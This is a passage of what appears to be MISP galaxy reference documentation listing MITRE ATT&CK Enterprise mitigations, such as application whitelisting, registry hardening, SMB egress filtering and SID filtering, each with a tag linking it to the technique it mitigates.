- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Re-opened Applications - T1164" with estimative-language:likelihood-probability="almost-certain"

Launch Agent Mitigation - T1159

Restrict user’s abilities to create Launch Agents with group policy.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Launch Agent Mitigation - T1159"*

Launch Agent Mitigation - T1159 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Launch Agent - T1159" with estimative-language:likelihood-probability="almost-certain"

Gatekeeper Bypass Mitigation - T1144

Other tools should be used to supplement Gatekeeper’s functionality. Additionally, system settings can prevent applications from running that haven't been downloaded through the Apple Store which can help mitigate some of these issues.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Gatekeeper Bypass Mitigation - T1144"*

Gatekeeper Bypass Mitigation - T1144 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Gatekeeper Bypass - T1144" with estimative-language:likelihood-probability="almost-certain"

SIP and Trust Provider Hijacking Mitigation - T1198

Ensure proper permissions are set for Registry hives to prevent users from modifying keys related to SIP and trust provider components. Also ensure that these values contain their full path to prevent DLL Search Order Hijacking. (Citation: SpectorOps Subverting Trust Sept 2017)

Consider removing unnecessary and/or stale SIPs. (Citation: SpectorOps Subverting Trust Sept 2017)

Restrict storage and execution of SIP DLLs to protected directories, such as C:\Windows, rather than user directories.

Enable whitelisting solutions such as AppLocker and/or Device Guard to block the loading of malicious SIP DLLs. Components may still be able to be hijacked to suitable functions already present on disk if malicious modifications to Registry keys are not prevented.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="SIP and Trust Provider Hijacking Mitigation - T1198"*

SIP and Trust Provider Hijacking Mitigation - T1198 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="SIP and Trust Provider Hijacking - T1198" with estimative-language:likelihood-probability="almost-certain"

Clipboard Data Mitigation - T1115

Instead of blocking software based on clipboard capture behavior, identify potentially malicious software that may contain this functionality, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Clipboard Data Mitigation - T1115"*

Clipboard Data Mitigation - T1115 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"

Obfuscated Files or Information Mitigation - T1027

Ensure logging and detection mechanisms analyze commands after being processed/interpreted, rather than the raw input. Consider utilizing the Antimalware Scan Interface (AMSI) on Windows 10 for this functionality. (Citation: Microsoft AMSI June 2015)

Mitigation of compressed and encrypted files sent over the network and through email may not be advised since it may impact normal operations.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Obfuscated Files or Information Mitigation - T1027"*

Obfuscated Files or Information Mitigation - T1027 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Create Account Mitigation - T1136

Use and enforce multifactor authentication. Follow guidelines to prevent or limit adversary access to Valid Accounts that may be used to create privileged accounts within an environment.

Adversaries that create local accounts on systems may have limited access within a network if access levels are properly locked down. These accounts may only be needed for persistence on individual systems and their usefulness depends on the utility of the system they reside on.

Protect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Create Account Mitigation - T1136"*

Create Account Mitigation - T1136 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"

Spearphishing Link Mitigation - T1192

Because this technique involves user interaction on the endpoint, it’s difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails with malicious links. Other mitigations can take place as User Execution occurs.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Spearphishing Link Mitigation - T1192"*

Spearphishing Link Mitigation - T1192 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"

Spearphishing via Service Mitigation - T1194

Determine if certain social media sites, personal webmail services, or other service that can be used for spearphishing is necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.

Because this technique involves use of legitimate services and user interaction on the endpoint, it’s difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails with malicious links. To prevent the downloads from executing, application whitelisting can be used. Anti-virus can also automatically quarantine suspicious files.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Spearphishing via Service Mitigation - T1194"*

Spearphishing via Service Mitigation - T1194 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Spearphishing via Service - T1194" with estimative-language:likelihood-probability="almost-certain"

Registry Run Keys / Start Folder Mitigation - T1060

Identify and block potentially malicious software that may be executed through run key or startup folder persistence using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Registry Run Keys / Start Folder Mitigation - T1060"*

Registry Run Keys / Start Folder Mitigation - T1060 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Registry Run Keys / Start Folder - T1060" with estimative-language:likelihood-probability="almost-certain"

Multi-Stage Channels Mitigation - T1104

Command and control infrastructure used in a multi-stage channel may be blocked if known ahead of time. If unique signatures are present in the C2 traffic, they could also be used as the basis of identifying and blocking the channel. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Multi-Stage Channels Mitigation - T1104"*

Multi-Stage Channels Mitigation - T1104 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Multi-Stage Channels - T1104" with estimative-language:likelihood-probability="almost-certain"

Data Staged Mitigation - T1074

Identify unnecessary system utilities or potentially malicious software that may be used to collect data from removable media, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Data Staged Mitigation - T1074"*

Data Staged Mitigation - T1074 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"

Launch Daemon Mitigation - T1160

Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new Launch Daemons.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Launch Daemon Mitigation - T1160"*

Launch Daemon Mitigation - T1160 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Launch Daemon - T1160" with estimative-language:likelihood-probability="almost-certain"

Data from Removable Media Mitigation - T1025

Identify unnecessary system utilities or potentially malicious software that may be used to collect data from removable media, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Data from Removable Media Mitigation - T1025"*

Data from Removable Media Mitigation - T1025 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"

Hidden Users Mitigation - T1147

If the computer is domain joined, then group policy can help restrict the ability to create or hide users. Similarly, preventing the modification of the <code>/Library/Preferences/com.apple.loginwindow</code> <code>Hide500Users</code> value will force all users to be visible.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Hidden Users Mitigation - T1147"*

Hidden Users Mitigation - T1147 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Hidden Users - T1147" with estimative-language:likelihood-probability="almost-certain"

Signed Script Proxy Execution Mitigation - T1216

Certain signed scripts that can be used to execute other programs may not be necessary within a given environment. Use application whitelisting configured to block execution of these scripts if they are not required for a given system or network to prevent potential misuse by adversaries.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Signed Script Proxy Execution Mitigation - T1216"*

Signed Script Proxy Execution Mitigation - T1216 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Signed Script Proxy Execution - T1216" with estimative-language:likelihood-probability="almost-certain"

Data from Network Shared Drive Mitigation - T1039

Identify unnecessary system utilities or potentially malicious software that may be used to collect data from a network share, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Data from Network Shared Drive Mitigation - T1039"*

Data from Network Shared Drive Mitigation - T1039 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Data from Network Shared Drive - T1039" with estimative-language:likelihood-probability="almost-certain"

Dylib Hijacking Mitigation - T1157

Prevent users from being able to write files to the search paths for applications, both in the folders where applications are run from and the standard dylib folders. If users can’t write to these directories, then they can’t intercept the search path.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Dylib Hijacking Mitigation - T1157"*

Dylib Hijacking Mitigation - T1157 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Dylib Hijacking - T1157" with estimative-language:likelihood-probability="almost-certain"

Account Manipulation Mitigation - T1098

Use multifactor authentication. Follow guidelines to prevent or limit adversary access to Valid Accounts.

Protect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Account Manipulation Mitigation - T1098"*

Account Manipulation Mitigation - T1098 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

PowerShell Mitigation - T1086

It may be possible to remove PowerShell from systems when not needed, but a review should be performed to assess the impact to an environment, since it could be in use for many legitimate purposes and administrative functions. When PowerShell is necessary, restrict PowerShell execution policy to administrators and to only execute signed scripts. Be aware that there are methods of bypassing the PowerShell execution policy, depending on environment configuration. (Citation: Netspi PowerShell Execution Policy Bypass) Disable/restrict the WinRM Service to help prevent uses of PowerShell for remote execution.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="PowerShell Mitigation - T1086"*

PowerShell Mitigation - T1086 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"

Forced Authentication Mitigation - T1187

Block SMB traffic from exiting an enterprise network with egress filtering or by blocking TCP ports 139, 445 and UDP port 137. Filter or block WebDAV protocol traffic from exiting the network. If access to external resources over SMB and WebDAV is necessary, then traffic should be tightly limited with whitelisting. (Citation: US-CERT SMB Security) (Citation: US-CERT APT Energy Oct 2017)

For internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.

Use strong passwords to increase the difficulty of credential hashes from being cracked if they are obtained.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Forced Authentication Mitigation - T1187"*

Forced Authentication Mitigation - T1187 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Forced Authentication - T1187" with estimative-language:likelihood-probability="almost-certain"

System Information Discovery Mitigation - T1082

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about the operating system and underlying hardware, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="System Information Discovery Mitigation - T1082"*

System Information Discovery Mitigation - T1082 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Exploitation for Defense Evasion Mitigation - T1211

Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software targeted for defense evasion.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Exploitation for Defense Evasion Mitigation - T1211"*

Exploitation for Defense Evasion Mitigation - T1211 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Exploitation for Defense Evasion - T1211" with estimative-language:likelihood-probability="almost-certain"

Winlogon Helper DLL Mitigation - T1004

Limit the privileges of user accounts so that only authorized administrators can perform Winlogon helper changes.

Identify and block potentially malicious software that may be executed through the Winlogon helper process by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Winlogon Helper DLL Mitigation - T1004"*

Winlogon Helper DLL Mitigation - T1004 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Winlogon Helper DLL - T1004" with estimative-language:likelihood-probability="almost-certain"

Password Filter DLL Mitigation - T1174

Ensure only valid password filters are registered. Filter DLLs must be present in Windows installation directory (<code>C:\Windows\System32\</code> by default) of a domain controller and/or local computer with a corresponding entry in <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages</code>. (Citation: Microsoft Install Password Filter n.d)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Password Filter DLL Mitigation - T1174"*

Password Filter DLL Mitigation - T1174 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Password Filter DLL - T1174" with estimative-language:likelihood-probability="almost-certain"

Netsh Helper DLL Mitigation - T1128

Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by Windows utilities like AppLocker. (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Netsh Helper DLL Mitigation -*

T1128"

Netsh Helper DLL Mitigation - T1128 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Netsh Helper DLL - T1128" with estimative-language:likelihood-probability="almost-certain"

Network Share Connection Removal Mitigation - T1126

Follow best practices for mitigation of activity related to establishing Windows Admin Shares.

Identify unnecessary system utilities or potentially malicious software that may be used to leverage network shares, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Network Share Connection Removal Mitigation - T1126"*

Network Share Connection Removal Mitigation - T1126 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Network Share Connection Removal - T1126" with estimative-language:likelihood-probability="almost-certain"

Connection Proxy Mitigation - T1090

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific C2 protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Connection Proxy Mitigation - T1090"*

Connection Proxy Mitigation - T1090 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"

Password Policy Discovery Mitigation - T1201

Mitigating discovery of password policies is not advised since the information is required to be known by systems and users of a network. Ensure password policies are such that they mitigate brute force attacks yet will not give an adversary an information advantage because the policies are too light. Active Directory is a common way to set and enforce password policies throughout an enterprise network. (Citation: Microsoft Password Complexity)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Password Policy Discovery Mitigation - T1201"*

Password Policy Discovery Mitigation - T1201 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Password Policy Discovery - T1201" with estimative-language:likelihood-probability="almost-certain"

Browser Bookmark Discovery Mitigation - T1217

File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. For example, mitigating accesses to browser bookmark files will likely have unintended side effects such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Browser Bookmark Discovery Mitigation - T1217"*

Browser Bookmark Discovery Mitigation - T1217 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Browser Bookmark Discovery - T1217" with estimative-language:likelihood-probability="almost-certain"

Time Providers Mitigation - T1209

Identify and block potentially malicious software that may be executed as a time provider by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.

Consider using Group Policy to configure and block subsequent modifications to W32Time parameters. (Citation: Microsoft W32Time May 2017)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Time Providers Mitigation - T1209"*

Time Providers Mitigation - T1209 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Time Providers - T1209" with estimative-language:likelihood-probability="almost-certain"

Application Window Discovery Mitigation - T1010

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software

Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Application Window Discovery Mitigation - T1010"*

Application Window Discovery Mitigation - T1010 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"

External Remote Services Mitigation - T1133

Limit access to remote services through centrally managed concentrators such as VPNs and other managed remote access systems. Deny direct remote access to internal systems through uses of network proxies, gateways, and firewalls as appropriate. Disable or block services such as Windows Remote Management can be used externally. Use strong two-factor or multi-factor authentication for remote service accounts to mitigate an adversary's ability to leverage stolen credentials, but be aware of Two-Factor Authentication Interception techniques for some two-factor authentication implementations.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="External Remote Services Mitigation - T1133"*

External Remote Services Mitigation - T1133 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"

Pass the Hash Mitigation - T1075

Monitor systems and domain logs for unusual credential logon activity. Prevent access to Valid Accounts. Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group.

Enable pass the hash mitigations to apply UAC restrictions to local accounts on network logon. The associated Registry key is located <code>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy</code> Through GPO: Computer Configuration > [Policies] > Administrative Templates > SCM: Pass the Hash Mitigations: Apply UAC restrictions to local accounts on network logons. (Citation: GitHub IAD Secure Host Baseline UAC Filtering)

Limit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary's ability to perform Lateral Movement between systems. Ensure that built-in and created local administrator accounts have complex, unique passwords. Do not allow a domain user to be in the local administrator group on multiple systems.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Pass the Hash Mitigation - T1075"*

Pass the Hash Mitigation - T1075 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Pass the Hash - T1075" with estimative-language:likelihood-probability="almost-certain"

Account Discovery Mitigation - T1087

Prevent administrator accounts from being enumerated when an application is elevating through UAC since it can lead to the disclosure of account names. The Registry key is located <code>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\CredUI\EnumerateAdministrators</code>. It can be disabled through GPO: Computer Configuration > [Policies] > Administrative Templates > Windows Components > Credential User Interface: E numerate administrator accounts on elevation. (Citation: UCF STIG Elevation Account Enumeration)

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about system and domain accounts, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Account Discovery Mitigation - T1087"*

Account Discovery Mitigation - T1087 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"

Trusted Developer Utilities Mitigation - T1127

MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, cdb.exe, and tracker.exe may not be necessary within a given environment and should be removed if not used.

Use application whitelisting configured to block execution of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, and cdb.exe if they are not required for a given system or network to prevent potential misuse by adversaries. (Citation: Microsoft GitHub Device Guard CI Policies) (Citation: Exploit Monday Mitigate Device Guard Bypases) (Citation: GitHub mattifestation DeviceGuardBypass) (Citation: SubTee MSBuild)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Trusted Developer Utilities Mitigation - T1127"*

Trusted Developer Utilities Mitigation - T1127 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Trusted Developer Utilities - T1127" with estimative-language:likelihood-probability="almost-certain"

Pass the Ticket Mitigation - T1097

Monitor domains for unusual credential logons. Limit credential overlap across systems to prevent the damage of credential compromise. Ensure that local administrator accounts have complex, unique passwords. Do not allow a user to be a local administrator for multiple systems. Limit domain admin account permissions to domain controllers and limited servers. Delegate other admin functions to separate accounts. (Citation: ADSecurity AD Kerberos Attacks)

For containing the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it. (Citation: CERT-EU Golden Ticket Protection)

Attempt to identify and block unknown or malicious software that could be used to obtain Kerberos tickets and use them to authenticate by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Pass the Ticket Mitigation - T1097"*

Pass the Ticket Mitigation - T1097 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Pass the Ticket - T1097" with estimative-language:likelihood-probability="almost-certain"

System Owner/User Discovery Mitigation - T1033

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about system users, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="System Owner/User Discovery Mitigation - T1033"*

System Owner/User Discovery Mitigation - T1033 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

Credential Dumping Mitigation - T1003

Monitor/harden access to LSASS and SAM table with tools that allow process whitelisting. Limit credential overlap across systems to prevent lateral movement opportunities using Valid Accounts if passwords and hashes are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access)

On Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA. (Citation:

Microsoft LSA)

Identify and block potentially malicious software that may be used to dump credentials by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

With Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements. (Citation: TechNet Credential Guard) It also does not protect against all forms of credential dumping. (Citation: GitHub SHB Credential Guard)

Manage the access control list for “Replicating Directory Changes” and other permissions associated with domain controller replication. (Citation: AdSecurity DCSync Sept 2015) (Citation: Microsoft Replication ACL)

Consider disabling or restricting NTLM traffic. (Citation: Microsoft Disable NTLM Nov 2012)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Credential Dumping Mitigation - T1003"*

Credential Dumping Mitigation - T1003 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Regsvr32 Mitigation - T1117

Microsoft’s Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block regsvr32.exe from being used to bypass whitelisting. (Citation: Secure Host Baseline EMET)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Regsvr32 Mitigation - T1117"*

Regsvr32 Mitigation - T1117 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Regsvr32 - T1117" with estimative-language:likelihood-probability="almost-certain"

Process Hollowing Mitigation - T1093

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

Although process hollowing may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Process Hollowing Mitigation - T1093"*

Process Hollowing Mitigation - T1093 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Process Hollowing - T1093" with estimative-language:likelihood-probability="almost-certain"

LC_MAIN Hijacking Mitigation - T1149

Enforce valid digital signatures for signed code on all applications and only trust applications with signatures from trusted parties.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="LC_MAIN Hijacking Mitigation - T1149"*

LC_MAIN Hijacking Mitigation - T1149 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="LC_MAIN Hijacking - T1149" with estimative-language:likelihood-probability="almost-certain"

SID-History Injection Mitigation - T1178

Clean up SID-History attributes after legitimate account migration is complete.

Apply SID Filtering to domain trusts to exclude SID-History from requests to access domain resources (<code>netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /quarantine:yes</code> (Citation: Microsoft Netdom Trust Sept 2012) on the domain controller). Domain SID Filtering is disabled by default.

Apply SID Filtering to forest trusts to exclude SID-History from request to access forest resources (<code>netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /EnableSIDHistory:no</code> (Citation: Microsoft Netdom Trust Sept 2012) on the domain controller). Forest SID Filtering is active by default, but may block child domains from transitively accessesing the forest trust.

Ensure SID Filter Quarantining is enabled on trusted external domains (<code>netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /quarantine</code> (Citation: Microsoft Netdom Trust Sept 2012) on the domain controller) to ensure authentication requests only include SIDs from that domain. SID Filter Quarantining is automatically enabled on all created external trusts using Server 2003 or later domain controllers. (Citation: Microsoft Trust Considerations Nov 2014) (Citation: Microsoft SID) Filtering Quarantining Jan 2009

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="SID-History Injection Mitigation - T1178"*

SID-History Injection Mitigation - T1178 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="SID-History Injection - T1178" with estimative-language:likelihood-probability="almost-certain"

Startup Items Mitigation - T1165

